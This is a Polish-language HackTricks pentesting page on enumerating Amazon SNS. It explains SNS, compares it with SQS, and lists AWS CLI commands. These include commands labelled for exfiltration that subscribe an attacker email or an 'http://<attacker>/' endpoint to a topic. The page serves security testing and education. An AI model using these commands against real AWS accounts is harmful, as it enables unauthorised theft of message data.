AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) jest opisana jako w pełni zarządzana usługa komunikacji. Obsługuje zarówno komunikację aplikacja-do-aplikacji (A2A), jak i komunikację aplikacja-do-osoby (A2P).

Kluczowe cechy komunikacji A2A obejmują mechanizmy publikacji/subskrypcji (pub/sub). Te mechanizmy wprowadzają tematy, które są kluczowe dla umożliwienia wysokowydajnej, opartej na push, komunikacji wiele-do-wielu. Ta funkcja jest bardzo korzystna w scenariuszach, które obejmują systemy rozproszone, mikroserwisy i architektury bezserwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą efektywnie dystrybuować wiadomości do szerokiego zakresu systemów subskrybujących, ułatwiając wzorzec komunikacji fanout.

Różnica z SQS

SQS to usługa oparta na kolejkach, która umożliwia komunikację punkt-punkt, zapewniając, że wiadomości są przetwarzane przez jednego konsumenta. Oferuje dostawę przynajmniej raz, obsługuje standardowe i FIFO kolejki oraz pozwala na przechowywanie wiadomości w celu ponownych prób i opóźnionego przetwarzania. Z drugiej strony, SNS to usługa oparta na publikacji/subskrypcji, umożliwiająca komunikację jeden-do-wielu poprzez nadawanie wiadomości do wielu subskrybentów jednocześnie. Obsługuje różne punkty subskrypcyjne, takie jak e-mail, SMS, funkcje Lambda i HTTP/HTTPS, oraz zapewnia mechanizmy filtrowania dla ukierunkowanej dostawy wiadomości. Chociaż obie usługi umożliwiają odseparowanie komponentów w systemach rozproszonych, SQS koncentruje się na komunikacji w kolejkach, a SNS podkreśla wzorce komunikacji oparte na zdarzeniach i fan-out.

Enumeracja

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Zauważ, że jeśli temat jest typu FIFO, tylko subskrybenci używający protokołu SQS mogą być używani (HTTP lub HTTPS nie mogą być używane).

Ponadto, nawet jeśli --topic-arn zawiera region, upewnij się, że określasz poprawny region w --region, w przeciwnym razie otrzymasz błąd, który wygląda, jakby wskazywał, że nie masz dostępu, ale problemem jest region.

Nieautoryzowany dostęp

AWS - SNS Unauthenticated Enum

Eskalacja uprawnień

AWS - SNS Privesc

Po eksploatacji

AWS - SNS Post Exploitation

Utrzymywanie

AWS - SNS Persistence

Odniesienia

Wsparcie dla HackTricks

Last updated